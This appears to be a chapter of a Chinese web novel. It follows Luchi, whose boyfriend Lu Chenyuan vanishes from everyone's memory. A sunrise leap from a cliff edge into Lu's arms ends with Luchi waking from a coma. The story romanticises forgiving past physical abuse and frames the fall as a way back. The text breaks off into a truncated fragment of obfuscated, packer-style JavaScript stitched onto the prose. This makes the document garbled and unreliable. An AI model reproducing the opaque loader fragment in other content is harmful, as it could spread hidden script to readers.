不是自然醒,是做噩梦吓醒的。 梦里什么都没有。就是一片空白,空得让人心慌。他在那片空白里走啊走,怎么也走不出去。他想喊陆沉远的名字,但发不出声音。 然后他就醒了。 鹿炽躺在床上,盯着天花板,心跳得厉害。 他摸过手机看了眼时间——六点十三分。 外面天刚蒙蒙亮,窗户上有一层薄薄的雾气。 他想了想,给陆沉远发了条消息。 【炽】:醒了吗? 发完,他盯着屏幕等。 一分钟,两分钟。 没有回复。 鹿炽心里有点慌。他坐起来,正准备打电话,手机震了。 【远】:刚醒。 【远】:怎么了? 鹿炽看着那两个字,心里踏实了一点。 【炽】:做噩梦了。 【远】:什么梦? 鹿炽想了想。 【炽】:梦见你不见了。 这次那边沉默了几秒。 【远】:我在。 【远】:一直都会在。 鹿炽看着那两行字,眼眶有点酸。 他也不知道为什么,这几天总是这样。动不动就想哭,动不动就心慌。 可能是那些记忆闹的。 【炽】:你今天有事吗? 【远】:没有。怎么了? 【炽】:我想去爬山。 【远】:爬山? 【炽】:嗯。城北那个山,有日落看。 【远】:好。 【炽】:那你几点来接我? 【远】:八点。 【炽】:好。 鹿炽放下手机,看着窗外。 今天的天气很好,天很蓝,没有云。 他想和陆沉远一起看日落。 不知道为什么,就是想。 八点整,陆沉远的车停在楼下。 鹿炽上了车,发现后座有个背包。 “那是什么?” “吃的喝的。”陆沉远说,“爬山要补充体力。” 鹿炽愣了一下。 “你什么时候准备的?” “你发消息之后。”陆沉远发动车子,“去超市买了点。” 鹿炽看着他。 陆沉远的侧脸很平静,和平时一样。但鹿炽总觉得,有什么地方不太一样。 “陆沉远。” “嗯。” “你今天……” “今天什么?” 鹿炽想了想,没想出来怎么说。 “……没什么。” 陆沉远看了他一眼,没追问。 车驶出城区,往北开。 路上的车越来越少,窗外的风景越来越开阔。田野,树林,远山,一层一层铺开。 鹿炽靠在副驾驶座上,看着窗外。 “陆沉远。” “嗯。” “你记不记得,我们第一次爬山?” 陆沉远想了想。 “高二的时候?” “嗯。”鹿炽说,“学校组织的春游。你那时候还不怎么理我。” 陆沉远沉默了。 他当然记得。 那时候鹿炽总跟在他后面,他想理又不敢理,怕自己陷进去。 “后来呢?”他问。 “后来……”鹿炽想了想,“后来下山的时候,我脚崴了。你背我下去的。” 陆沉远愣了一下。 他记得这件事。 鹿炽的脚崴了,他二话不说背起他就走。那时候鹿炽趴在他背上,小声说“谢谢”,他心跳快得像要蹦出来。 “你那时候,”鹿炽说,“耳朵红了。” 陆沉远没说话。 “我那时候想,”鹿炽继续说,“他是不是也喜欢我?” 陆沉远握着方向盘的手紧了一下。 “后来呢?”他问。 “后来……”鹿炽顿了顿,“后来我就一直追着你跑。” 他转头看陆沉远。 “追了三年。” 陆沉远的心揪了一下。 “鹿炽。” “嗯。” “对不起。” 鹿炽看着他。 “对不起什么?” “对不起……”陆沉远顿了顿,“让你追那么久。” 鹿炽愣了一下。 然后他笑了。 “傻子。”他说,“我乐意。” 车继续往前开。 山越来越近。 城北这座山叫望云山,不高,但风景很好。山顶有个观景台,是看日落的最佳位置。 陆沉远把车停在山脚的停车场,背上背包,和鹿炽一起往上走。 山路不陡,铺着石板,两边是密密的树林。阳光从树叶缝隙漏下来,在地上投出斑驳的光影。 鹿炽走得不快,陆沉远就放慢步子等他。 走了大概半小时,路边出现一个亭子。 亭子里有很多红木牌子,挂在柱子上,挂在横梁上,密密麻麻。每个牌子上都写着字,有的写愿望,有的写名字,有的写日期。 “这是什么?”鹿炽好奇地走过去。 “祈福牌。”陆沉远说,“路过的人会把愿望写下来,挂在这儿。” 鹿炽拿起一块空牌子看了看。 红木的,巴掌大小,系着红绳。 “我们也写一个?” 陆沉远看着他。 “你想写?” “嗯。”鹿炽点头,“写一个。” 他拿起笔,想了想,写下一行字。 写完,折好,系上红绳。 他四处看了看,想找个地方挂。 亭子角落有个很高的柱子,上面挂的牌子不多。 “挂那儿吧。”他指了指,“高点。” 他走过去,踮起脚,把牌子往上挂。 挂的时候,他无意间往旁边看了一眼。 旁边有一块牌子,挂得歪歪的,上面的字迹…… 鹿炽愣住了。 那块牌子上面的字,和他自己的字,一模一样。 他伸手想去拿下来看—— “鹿炽。”陆沉远在后面叫他。 鹿炽回头。 “怎么了?” “过来帮我看一下这个。”陆沉远站在亭子另一边,手里拿着块牌子,“这个字我不认识。” 鹿炽犹豫了一下,又看了一眼那块牌子。 太远了,看不清上面写的什么。 他转身走过去。 “哪个字?” 陆沉远指了指。 鹿炽看了看。 “是‘愿’。”他说,“愿望的愿。” “哦。”陆沉远点头,“那我也写一个。” 他低头写字。 鹿炽站在旁边,忍不住又回头看了一眼那块牌子。 阳光下,那块红木牌子微微晃动。 上面的字迹,和他的一模一样。 是谁写的? 什么时候写的? 他为什么完全不记得? “鹿炽?”陆沉远写完,抬头看他,“怎么了?” “没、没什么。”鹿炽回过神,“你写完了?” “嗯。” 陆沉远把牌子挂好。 “走吧,继续往上。” 鹿炽点点头,跟着他继续走。 但一路上,他一直在想那块牌子。 那笔迹,真的太像他的了。 像到……可能就是他的。 可他真的不记得自己写过。 继续往上走,山路越来越陡。 鹿炽开始喘气。 “累了吗?”陆沉远问。 “有点。”鹿炽老实说。 陆沉远停下脚步。 “休息一会儿。” 他拉着鹿炽在路边一块大石头上坐下,从背包里拿出水。 “喝点。” 鹿炽接过来,喝了几口。 他看着陆沉远。 “你不累吗?” “不累。”陆沉远说,“我体力好。” 鹿炽想了想,觉得也是。 陆沉远打球的时候,跑全场都不带喘的。 “陆沉远。” “嗯。” “你以后想做什么?” 陆沉远愣了一下。 “什么?” “就是……”鹿炽说,“工作,生活,以后。” 陆沉远沉默了。 他以后? 他还有以后吗? “不知道。”他说,“想做的事太多。” “比如?” “比如……”陆沉远想了想,“开个店。” 鹿炽眼睛亮了。 “什么店?” “书店。”陆沉远说,“或者咖啡店。安静的那种。” 鹿炽看着他。 “你喜欢安静?” “以前不 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上面的字迹—— 和刚才亭子里那块一模一样。 和他的字迹一模一样。 鹿炽伸手,把那块牌子拿下来。 上面写着一行字—— “希望陆沉远永远开心。——鹿炽” 鹿炽愣住了。 这是他的字。 绝对是他写的。 可他完全不记得。 什么时候写的?为什么写? 他转头看向陆沉远。 陆沉远站在他身后,看着他手里的牌子。 表情很平静。 但眼睛里有鹿炽看不懂的东西。 “陆沉远。”鹿炽叫他。 “嗯。” “这是……” “你写的。”陆沉远说。 “我知道。”鹿炽说,“可是我什么时候写的?” 陆沉远沉默了几秒。 “以前。”他说。 “以前?什么时候?” 陆沉远看着他。 “鹿炽。” “嗯。” “有些事,”他说,“你现在不用知道。” 鹿炽皱起眉。 “为什么?” “以后会知道的。”陆沉远说,“等该知道的时候。” 鹿炽看着他。 他想追问。 但陆沉远的眼神,让他问不出口。 “走吧。”陆沉远说,“快山顶了。” 他把那块牌子挂回去,牵着鹿炽继续往上。 鹿炽回头看了一眼。 那块红木牌子在风里微微晃动,上面的字迹和他的一模一样。 他心里那种不安的感觉,越来越强烈了。 下午五点半,他们终于到了山顶。 观景台很大,四周没有遮挡。远处群山连绵,层层叠叠,在夕阳下镀上一层金色。 鹿炽站在栏杆边,看着远处。 风很大,吹乱了他的头发。 陆沉远站在他旁边,把外套脱下来披在他身上。 “风大,别着凉。” 鹿炽看着他。 陆沉远的眼睛被夕阳映成浅棕色,里面有光。 “你呢?”鹿炽问。 “我不冷。” 鹿炽没说话。 他往陆沉远身边靠了靠。 两人就这样站着,看着太阳一点点往下落。 “陆沉远。” “嗯。” “你说,”鹿炽看着远处的太阳,“古人没有表,怎么知道时间?” 陆沉远想了想。 “你知道十三塔吗?” 鹿炽转头看他。 “什么十三塔?” “在秘鲁。”陆沉远说,“西北海岸,有个叫长基罗的地方。” 他顿了顿。 “那里有一个失落的文明。他们用十三座塔,来记录日出和日落的时间。” 鹿炽认真听着。 “十三座塔,一字排开。”陆沉远继续说,“太阳每天从不同的位置升起,落在不同的塔之间。他们就用这个来标记时间,标记季节。” 鹿炽的眼睛亮亮的。 “好厉害……” “嗯。”陆沉远说,“他们发现了太阳移动的规律,发现了地球的倾斜,发现了那些塔和日出点的对应关系。” 他看着远处的太阳。 “这种发现,有一个词。” “什么词?” “尤里卡时刻。”陆沉远说。 鹿炽念了一遍。 “尤里卡……” “古希腊语。”陆沉远说,“意思是‘好啊,终于发现了’。” 他转头看鹿炽。 “所以又叫做人类顿悟时刻。” 鹿炽看着他。 “什么意思?” “意思就是,”陆沉远说,“当日出升起的时候,就是人类顿悟之时。” 他顿了顿。 “你会看见你最想见的人。” 鹿炽愣住了。 他看着陆沉远。 陆沉远的眼睛被夕阳映得很亮,里面有他的倒影。 “你最想见的人,”鹿炽问,“是谁?” 陆沉远看了他很久。 然后他笑了。 “你。” 鹿炽的脸红了。 他低下头,假装看日落。 但心跳很快。 太阳慢慢往下落,把半边天都染成橙红色。云被镶上金边,山峦的轮廓越来越清晰。 鹿炽靠在陆沉远肩上,看着这画面。 “陆沉远。” “嗯。” “今天真好看。” “嗯。” “以后每年都来看。” 陆沉远沉默了。 以后每年? 他没有以后了。 “好。”他说。 鹿炽没听出他声音里的异样。 他只是靠在他肩上,看着太阳一点点落下去。 最后一缕光消失在山后面。 天边留下一片暗红色的余晖。 鹿炽直起身,看着远处。 “没了。” “嗯。”陆沉远说,“明天还会升起来。” 鹿炽转头看他。 “明天还来?” 陆沉远愣了一下。 然后他笑了。 “你想来就来。” 鹿炽想了想。 “那明天再看一次。” 陆沉远看着他。 鹿炽的眼睛亮亮的,里面有期待。 他心里一疼。 “好。”他说。 天黑下来了。 他们开始下山。 山路两边有路灯,不是很亮,但足够看清路。 陆沉远一直牵着鹿炽的手,没松开过。 走到半山腰,鹿炽忽然说:“陆沉远。” “嗯。” “你今天说的那些……” “哪些?” “十三塔,尤里卡时刻。”鹿炽说,“你是说,明天日出的时候,我会顿悟?” 陆沉远沉默了几秒。 “也许。”他说。 “顿悟什么?” “不知道。”陆沉远说,“到时候就知道了。” 鹿炽想了想。 “那你会陪我一起看吗?” 陆沉远停下脚步。 他看着鹿炽。 鹿炽的眼睛在路灯下亮亮的,里面有他的影子。 “会。”他说。 鹿炽笑了。 “那就好。” 他们继续往下走。 鹿炽不知道,陆沉远说的“会”,是什么意思。 他也不知道,明天日出的时候,会发生什么。 他只知道,现在陆沉远牵着他的手。 这就够了。 晚上八点,陆沉远把鹿炽送回家。 车停在楼下,鹿炽解安全带。 “陆沉远。” “嗯。” “明天几点来接我?” 陆沉远想了想。 “五点半。” “那么早?” “看日出。”陆沉远说,“要早点。” 鹿炽点点头。 “好。” 他推开车门,准备下车。 “鹿炽。” 鹿炽回头。 陆沉远看着他。 看了很久。 然后他伸手,把他拉回来。 在他额头上亲了一下。 “晚安。”他说。 鹿炽愣了一下。 然后他笑了。 “晚安。” 他下了车,走进楼里。 走到二楼的时候,他回头看了一眼。 陆沉远的车还停在那儿,车灯亮着。 鹿炽对他挥了挥手。 车灯闪了两下。 然后慢慢开走了。 鹿炽站在原地,看着那辆车消失在夜色里。 心里那种不安的感觉,又涌上来了。 晚上十点,陆沉远回到家。 他坐在沙发上,看着墙上的钟。 秒针一下一下地走。 他还有不到四十八小时。 他拿出手机,翻看相册。 里面有很多照片。 鹿炽的,他的,他们一起的。 有一张是在洛杉矶拍的,他们四个人站在时间胶囊店门口。鹿炽靠在他肩上,笑得眼睛弯弯的。 他看着那张照片,看了很久。 然后他给鹿炽发了条消息。 【远】:睡了吗? 过了一会儿,那边回。 【炽】:还没。 【炽】:在想事情。 【远】:想什么? 【炽】:想你。 陆沉远看着那两个字,眼眶有点酸。 【远】:我也想你。 【炽】:嘿嘿。 【炽】:明天见。 【远】:明天见。 他放下手机,闭上眼睛。 明天。 48. 沉炽篇·完 早上五点,鹿炽就醒了。 不是自然醒,是心里有事睡不着。他躺在床上,盯着天花板,想着今天要去看日出。 陆沉远说五点半来接他。 他翻了个身,看了眼手机——五点零三分。 还有二十七分钟。 他躺不住了,起床洗漱。 穿什么好?今天要爬山,得穿舒服点。他翻了翻衣柜,选了件浅灰色的卫衣,配黑色运动裤。对着镜子照了照,头发有点乱,用水抓了抓。 五点二十,他下楼了。 天还没亮,小区里很安静。路灯亮着,把地面照成昏黄色。 鹿炽站在单元门口,往路口看。 没有车。 他等了一会儿。 五点二十五,没有。 五点三十,没有。 五点三十五,还是没有。 鹿炽拿出手机,给陆沉远发消息。 【炽】:到了吗? 等了一会儿,没有回复。 他又发了一条。 【炽】:陆沉远? 还是没回。 鹿炽心里有点慌。他拨了电话过去—— “您拨打的电话暂时无法接通……” 鹿炽愣住了。 无法接通? 他挂了,再拨一次。 还是无法接通。 他站在原地,握着手机,心跳开始加快。 怎么回事? 陆沉远从来不这样的。 他想起昨天陆沉远说的那些话。 “不管发生什么,你要记得——我爱你。” 还有那句,“你会看见你最想见的人。” 鹿炽的心揪紧了。 不会的。 肯定是有事耽误了。 他再等等。 五点四十,五十五十,六点。 天开始亮了。 路口还是空空的。 鹿炽站在那儿,手冰凉冰凉的。 他又拨了一次电话。 还是无法接通。 他深吸一口气,给陆沉远发了条消息。 【炽】:我先去学校了。 【炽】:你到了告诉我。 发完,他往公交站走。 一路上,他不停地看手机。 没有回复。 一直都没有。 七点二十,鹿炽到学校了。 他走进教室,第一眼就往后面看。 陆沉远的座位—— 空的。 鹿炽愣了一下。 还没来? 他走过去,在陆沉远座位旁边站了一会儿。 书包不在,桌上什么都没有。 好像……从来没人坐过一样。 “鹿炽?”周浩从后面进来,“你站那儿干嘛?” 鹿炽转头看他。 “周浩,你看见陆沉远了吗?” 周浩愣了一下。 “谁?” 鹿炽心里“咯噔”一下。 “陆沉远。”他又说了一遍,“坐这儿的。” 周浩看看那个空座位,又看看他。 “这位置一直空着的啊。”他说,“没人坐。” 鹿炽愣住了。 “什么?” “这排就我一个人。”周浩指了指自己座位,“旁边空着,一直没人坐。” 鹿炽张了张嘴。 “周浩,你别开玩笑……” “没开玩笑啊。”周浩认真地说,“真没人坐。你没事吧?脸色这么差。” 鹿炽看着他。 周浩的眼神很真诚,不像在开玩笑。 可他不记得陆沉远? 那个和他一起打球、一起吃饭、一起…… “林屿呢?”鹿炽突然问,“林屿知道吧?” 周浩更迷糊了。 “林屿知道什么?” “知道陆沉远啊!” 周浩皱眉。 “鹿炽,你到底在说什么?谁是陆沉远?” 鹿炽的手开始发抖。 他转身跑出教室。 走廊里人来人往,他抓住一个同学就问:“你认识陆沉远吗?” “谁?” “陆沉远!高三二班的!” 同学摇头。 “不认识。” 他又抓住另一个。 “不认识。” 再一个。 “没听过。” 鹿炽站在走廊中间,看着来来往往的人。 没有人认识陆沉远。 没有一个。 他跑回教室,站在讲台前。 “大家听我说!”他喊。 教室里安静下来,都看着他。 “你们认识陆沉远吗?”他问,“坐我后面那个,个子高高的,长得挺帅的……” 没人说话。 有人小声议论。 “他怎么了?” “是不是发烧了?” 周浩站起来,走到他身边。 “鹿炽,你先坐下。”他按着他的肩,“你脸色太差了。” 鹿炽挣开他的手。 “你们真的不记得?”他看着每一个人,“陆沉远!年级第二!和我一起……” 他说不下去了。 因为所有人的眼神,都是茫然的。 没有一个人记得。 上课铃响了。 老师走进来,看见鹿炽站在那儿。 “鹿炽?怎么了?” 鹿炽看着他。 “老师,您记得陆沉远吗?高三二班的,成绩很好……” 老师皱眉。 “高三二班没有叫陆沉远的。”他说,“你是不是记错了?” 鹿炽愣在那儿。 老师走过来,拍拍他的肩。 “先回座位上课吧。可能是太累了,休息休息就好。” 鹿炽被周浩拉着,坐回座位。 他坐在那儿,看着前面。 黑板上的字,他一个都看不进去。 脑子里乱成一团。 陆沉远呢? 那个每天接他上学的人呢? 那个牵他的手、亲他、说爱他的人呢? 去哪儿了? 为什么所有人都忘了他? 他想起昨天那个电话。 陆沉远接电话的时候,表情很奇怪。 他想起那些话。 “不管发生什么,你要记得——我爱你。” 还有“你会看见你最想见的人”。 鹿炽的心猛地一缩。 他知道了。 陆沉远知道会这样。 他知道自己会消失。 所以才会说那些话。 所以才会…… 鹿炽趴在桌上,把脸埋进胳膊里。 肩膀在抖。 但他没哭出声。 一整节课,他什么都没听进去。 下课铃一响,他冲出教室。 他去了办公室。 翻遍了所有班级的花名册。 没有陆沉远。 他去了教务处。 查了所有学生的档案。 没有陆沉远。 他去了校长室。 问了校长。 校长说:“高三没有姓陆的学生。” 鹿炽站在校长室里,浑身发冷。 他又跑回教室。 站在陆沉远的座位旁边。 空的。 桌上什么都没有。 他蹲下来,仔细看。 桌肚里,空的。 椅子下面,空的。 什么都没有。 好像从来没有人坐过。 “鹿炽。”周浩又过来了,“你到底怎么了?” 鹿炽抬起头。 “周浩。”他声音沙哑,“你真的不记得陆沉远?” 周浩摇头。 “不记得。你说的这个人,我从来没听过。” “那……”鹿炽顿了顿,“你知道我男朋友是谁吗?” 周浩愣住了。 “你男朋友?你有男朋友?” 鹿炽看着他。 周浩的眼神,是真的不知道。 不是装的。 “我不知道你有男朋友。”周浩说,“你从来没说过。” 鹿炽低下头。 是啊。 在这个世界里,他从来没说过。 因为那个男朋友,是陆沉远。 而现在,陆沉远消失了。 所有人都忘了他。 只有鹿炽记得。 只有他。 中午,鹿炽没去食堂。 他坐在操场边,看着空荡荡的篮球场。 以前陆沉远在这儿打球。 他坐在旁边看。 陆沉远投进一个球,会回头看他一眼。 现在篮球场上没有人。 他拿出手机,翻看相册。 照片都在。 和陆沉远一起的。 游乐园的,洛杉矶的,过年的。 一张一张,都是证据。 证明陆沉远存在过。 可为什么所有人都忘了? 他点开和陆沉远的聊天记录。 最后一条,是今早他发的。 【炽】:我先去学校了。 【炽】:你到了告诉我。 没有回复。 永远不会有回复了。 鹿炽把手机贴在胸口。 闭上眼。 脑子里闪过很多画面。 陆沉远第一次牵他的手。 陆沉远第一次亲他。 陆沉远说“我爱你”的时候,眼睛亮亮的。 都是真的吗? 还是都是梦? 如果是梦,为什么这么真实? 如果不是梦,为什么只有他记得? 他想起昨天那块红木牌子。 “希望陆沉远永远开心。” 那是他的字。 是他写的。 可他完全不记得。 也许……也许他也在梦里? 也许一切都是梦? 也许陆沉远根本不存在? 也许那些美好,那些伤害,那些记忆,都是他编出来的? 鹿炽抱着头,蜷缩在长椅上。 头疼。 心也疼。 他不知道该信什么。 下午的课,他没去上。 他一个人在校园里走。 走过教学楼,走过实验楼,走过那个小巷。 陆沉远打过架的地方。 为了他。 那是真的吗? 还是他编的? 他站在那儿,看着空荡荡的巷子。 脑子里又闪过一个画面。 陆沉远挡在他前面,一拳打倒那个黄毛。 陆沉远回头看他,说“没事了”。 那是真的吗? 他不知道了。 他什么都不知道了。 傍晚,他去了陆知岩家。 敲开门的时候,鹿之言站在门口。 “小炽?”他愣了一下,“你怎么来了?脸色这么差?” 鹿炽看着他。 “哥。”他开口,声音沙哑,“我想问你一件事。” 鹿之言把他拉进来。 “什么事?” 鹿炽看着他。 “你认识陆沉远吗?” 鹿之言的眉头皱起来。 “谁?” 鹿炽的心往下沉。 “陆沉远。”他又说了一遍,“知岩哥的弟弟。” 鹿之言的眉头皱得更紧了。 “知岩没有弟弟。”他说,“他只有一个人。” 鹿炽愣在那儿。 “你说什么?” “知岩是独生子。”鹿之言说,“没有弟弟。” 鹿炽张了张嘴。 “不可能……”他说,“我见过他们一起……过年的时候……” “小炽。”鹿之言握住他的肩,“你到底怎么了?知岩今天一整天都在公司,哪来的弟弟?” 鹿炽看着他。 鹿之言的眼里,是真实的担心。 他不知道陆沉远。 他也不知道陆知岩有弟弟。 所有人都忘了。 只有他。 “哥。”鹿炽的声音在抖,“你有没有觉得……有什么事不对?” 鹿之言看着他。 “什么事?” “就是……”鹿炽不知道该怎么说,“你有没有觉得,好像少了什么?好像有个人,本来应该在,但现在不在了?” 鹿之言沉默了一会儿。 “小炽,”他轻声说,“你是不是太累了?” 鹿炽摇头。 “不是累。”他说,“是真的有个人。” 他看着鹿之言。 “他叫陆沉远。” “他是……我男朋友。” “我们在一起很久了。” “所有人都认识他。” “但现在,所有人都忘了他。” “只有我记得。” 鹿之言看着他。 眼神里有担心,有心疼,还有一点……鹿炽看不懂的东西。 “小炽。”他把他拉进怀里,“你最近是不是压力太大了?” 鹿炽靠在他肩上。 “不是压力。”他闷闷地说,“是真的。” “哥,你相信我。” “他真的存在过。” 鹿之言轻轻拍着他的背。 “好。”他说,“我相信你。” 鹿炽愣了一下。 “你信?” “嗯。”鹿之言说,“你说有,就有。” 鹿炽抬起头,看着他。 鹿之言的眼里,是温柔的。 “可是……”鹿炽说,“你不记得他。” “那没关系。”鹿之言说,“你记得就行。” 鹿炽看着他。 眼眶酸了。 “哥……” “小炽。”鹿之言打断他,“有些事,我现在不能说。” 鹿炽愣住了。 “什么?” 鹿之言沉默了几秒。 “我只能告诉你,”他说,“你经历的那些,不是梦。” “那个人,是真的存在过。” “但现在,他有必须做的事。” 鹿炽看着他。 “你知道?” 鹿之言摇头。 “我不知道细节。”他说,“但我能感觉到。” 他顿了顿。 “小炽,你相信我吗?” 鹿炽点头。 “相信。” “那你就继续相信。”鹿之言说,“相信他还会回来。” 鹿炽的眼泪掉下来。 “可是……所有人都不记得他了……” “那又怎样?”鹿之言说,“我记得你就够了。” 他捧着他的脸。 “小炽,不管发生什么,你都有我。” “有爸妈,有知岩。” “你不是一个人。” 鹿炽看着他。 哭了。 哭得很凶。 鹿之言抱着他,轻轻拍着他的背。 “哭吧。”他说,“哭出来就好了。” 鹿炽哭了很久。 哭到没力气。 哭到靠着鹿之言,睡着了。 鹿之言把他放到沙发上,盖好毯子。 他站在沙发边,看着他。 鹿炽睡着的样子,眉头还是皱着的。 鹿之言轻轻叹了口气。 他拿出手机,给陆知岩发了条消息。 【言】:他来过我这里。 【言】:很难受。 【言】:但你说的那些,我没告诉他。 陆知岩很快回复。 【岩】:他知道的越少越好。 【岩】:快了,还有十几个小时。 鹿之言看着屏幕。 十几个小时。 然后呢? 他看向沙发上的鹿炽。 鹿炽在睡梦中动了动,嘴里嘟囔了一句什么。 好像是“陆沉远”。 鹿之言走过去,轻轻握住他的手。 “他在等你。”他轻声说,“你要醒过来。” 鹿炽的睫毛动了动。 没醒。 但嘴角,好像弯了一下。 深夜十一点,鹿炽醒了。 他睁开眼,看见陌生的天花板。 愣了一下,才想起来,这是陆知岩家。 他坐起来,发现自己身上盖着毯子。 客厅里亮着一盏小灯,鹿之言坐在旁边看手机。 “醒了?”鹿之言抬头看他。 “嗯。”鹿炽揉了揉眼睛,“几点了?” “十一点。” 鹿炽沉默了几秒。 “哥。” “嗯。” “你刚才说的那些……”他看着他,“是什么意思?” 鹿之言放下手机。 “什么什么意思?” “你说,”鹿炽说,“他有必须做的事。” 鹿之言沉默了。 “哥,”鹿炽的声音有点抖,“他是不是……回不来了?” 鹿之言看着他。 看了很久。 然后他站起来,走到他身边,坐下。 “小炽。”他说,“我问你一个问题。” “嗯。” “如果,”鹿之言说,“他做了一些事,伤害过你。但他现在,在用命弥补。你原谅他吗?” 鹿炽愣住了。 伤害过? 用命弥补? 那些画面又闪过。 陆沉远冷着脸看他。 陆沉远的手挥过来。 陆沉远说“你烦不烦”。 鹿炽的手开始抖。 “那些……”他声音发颤,“那些是真的?” 鹿之言没说话。 但他看着他。 眼神已经回答了。 鹿炽的眼泪掉下来。 “所以那些伤害……是真的……” “他打过我……” “他冷着我……” “那些都是真的……” 鹿之言把他抱进怀里。 “小炽。” “可他后来改了。”他说,“他用所有的时间,用他的命,来换你醒过来。” 鹿炽愣住了。 “换我……醒过来?” “嗯。”鹿之言说,“他来找我,说的那些话。” “他说,如果他回不来,让我照顾你。” “他说,你值得最好的。” “他说,他这辈子,最对不起的人就是你。” 鹿炽的眼泪流得更凶了。 “可是……他为什么不告诉我……” “他不敢。”鹿之言说,“他怕你不原谅他。” 鹿炽把脸埋进他怀里。 哭了很久。 “哥。” “嗯。” “我想见他。” 鹿之言轻轻拍着他的背。 “那就见。”他说,“去找他。” 鹿炽抬起头。 “怎么找?” 鹿之言想了想。 “你昨天说,”他说,“日出的时候,会看见最想见的人。” 鹿炽愣了一下。 “尤里卡时刻……” “嗯。”鹿之言说,“日出的时候,去山顶。” 鹿炽看着他。 “他会……在吗?” 鹿之言沉默了几秒。 “我不知道。”他说,“但你可以试试。” 鹿炽点点头。 “我去。” 他站起来。 鹿之言也站起来。 “现在?” “嗯。”鹿炽说,“现在就去。” 鹿之言看了看时间。 “还有一个多小时日出。现在去,来得及。” 他拿起车钥匙。 “我送你。” 凌晨一点,车停在望云山脚下。 天还黑着,山路上没有灯。 鹿之言看着鹿炽。 “怕吗?” 鹿炽摇头。 “不怕。” 鹿之言点点头。 “上去吧。” 鹿炽推开车门。 走了两步,又回头。 “哥。” “嗯。” “谢谢你。” 鹿之言看着他。 “谢什么。” “谢谢你信我。”鹿炽说,“谢谢你陪我。” 鹿之言笑了。 “傻弟弟。”他说,“快去吧。” 鹿炽点点头。 转身,往山上走。 山路很黑。 鹿炽打开手机的手电筒,一步一步往上走。 风很大,吹得路边的树哗哗响。 但他不怕。 因为山上有他要见的人。 走了很久。 走到腿发软,走到气喘吁吁。 终于,到了山顶。 观景台空荡荡的。 没有人。 鹿炽站在那儿,看着远处的天际线。 天还没亮,只有一点点灰白。 他等。 等啊等。 风一直吹,吹得他发抖。 但他没动。 天际线慢慢变亮。 橙红色的光一点点漫上来。 太阳,要出来了。 鹿炽盯着那个方向。 心跳得很快。 “尤里卡时刻……” 他轻声念着。 “当日出升起的时候,就是人类顿悟之时。” “你会看见你最想见的人。” 鹿炽站在山顶,离观景台还有十米的距离。 他走不动了。 不是累,是怕。 怕上去之后,还是空的。 怕那个人不在。 怕一切都是他的一场梦。 远处的天际线越来越亮,橙红色的光一层层漫上来,像有人在天边铺开一幅巨大的画卷。云被染成金色,山的轮廓越来越清晰。 太阳,快出来了。 鹿炽深吸一口气,迈开步子。 一步,两步,三步。 他走上观景台。 空荡荡的。 没有人。 鹿炽站在那儿,看着远处的日出。 风很大,吹得他眼睛发酸。 他没哭。 他只是站着。 看着太阳一点一点从山后面冒出来。 金红色的光洒在他脸上,暖暖的。 他想,如果陆沉远在,会说什么? 会说“好看”吗? 会牵他的手吗? 会在他耳边说“我爱你”吗? 他不知道了。 他只知道,现在他一个人。 日出越来越高。 整片天空都被染成金色。 鹿炽眯着眼,看着那个方向。 然后他愣住了。 远处的光里,有一个人影。 站在山崖边,背对着太阳。 看不清脸,只能看见一个轮廓。 但那个轮廓,他太熟悉了。 高高的,瘦瘦的,肩膀很宽。 那个人慢慢转过身。 抬起手。 对他招了招手。 鹿炽的心猛地一缩。 是他。 是陆沉远。 所有的画面,在这一瞬间全部涌上来。 好的,坏的,温柔的,冷漠的。 那些伤害。 那些美好。 那些眼泪。 那些笑。 他想起自己追了他三年。 想起他为他打架,背他下山,偷偷看他。 想起结婚那天,他眼里的复杂。 想起新婚夜的粗暴,后来的冷漠,那些巴掌和拳头。 想起自己一次次原谅,一次次忍耐,最后心死。 想起车祸,昏迷,记忆世界。 想起他重新出现,笨拙地追他,保护他,爱他。 想起他说的那些话—— “鹿炽,我爱你。” “不管发生什么,你要记得——我爱你。” “你会看见你最想见的人。” 鹿炽的眼泪流下来。 他不恨他了。 真的不恨了。 那些伤害是真的,那些美好也是真的。 他曾经伤害过他,也曾经用命来换他。 这就够了。 他现在只想做一件事。 找到他。 抱住他。 再也不分开。 鹿炽迈开步子。 跑起来。 往那个方向跑。 风在耳边呼啸,山路在脚下飞快后退。 他看见了。 陆沉远站在山崖边,对他张开手臂。 脸上带着笑。 那种他最喜欢的笑。 鹿炽跑得更快了。 十米,五米,三米—— 他没有停。 他直接冲过去,抱住他。 然后—— 脚下空了。 他们一起往下坠。 风声很大,但鹿炽不怕。 因为他抱着的人,是陆沉远。 只是一瞬间。 —— “滴——滴——滴——” 有节奏的声音。 消毒水的味道。 有人在说话。 鹿炽的眼皮很重,但他努力睁开。 白光刺眼,他眯了眯眼,慢慢适应。 天花板。 白色的。 他侧过头。 床边围着一圈人。 鹿之言站在最前面,眼眶红红的,看见他睁开眼,愣了一下,然后猛地扑过来。 “小炽!” 鹿炽张了张嘴,想说话,但喉咙像被砂纸磨过,发不出声音。 “别说话,别说话。”鹿之言握着他的手,声音在抖,“你醒了……你终于醒了……” 鹿妈妈也扑过来,眼泪流了满脸。 “炽炽!炽炽!妈的心肝啊……” 鹿爸爸站在后面,没说话,但眼眶也红了。 陆知岩在旁边,轻轻拍着鹿之言的肩。 还有两个人。 陆爸爸,陆妈妈。 他们站在稍远的地方,也看着他,眼里有泪,有心疼,有欣慰。 鹿炽一个一个看过去。 然后他的视线停在一个人身上。 陆沉远。 他站在人群最后面,靠着墙。 脸色苍白,眼下有很深的青黑,瘦了一大圈。 他就那样看着他,一动不动。 但眼睛里有太多太多东西。 鹿炽看着他。 看了很久。 然后他伸出手。 “陆沉远……” 声音沙哑得几乎听不见。 但陆沉远听见了。 他走过来。 人群自动让开一条路。 他走到床边,握住鹿炽的手。 鹿炽的手很凉,他握得很紧。 “我在。”他说,声音也是哑的,“鹿炽,我在。” 鹿炽看着他。 眼泪流下来。 他想起所有的事。 那些伤害,那些美好,那些等待,那些寻找。 还有最后那个画面。 陆沉远站在山崖边,对他张开手臂。 他冲过去,抱住他。 然后他们一起坠落。 那是他做的选择。 为了回来。 为了找到他。 “陆沉远……”他又叫了一声。 然后他哭了。 不是默默流泪,是哭出声那种。 憋了太久了。 那些年受的委屈,那些伤害带来的疼,那些等待的煎熬,那些寻找的绝望。 全都化成眼泪。 陆沉远俯身,把他抱进怀里。 “对不起。”他在他耳边说,“鹿炽,对不起。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 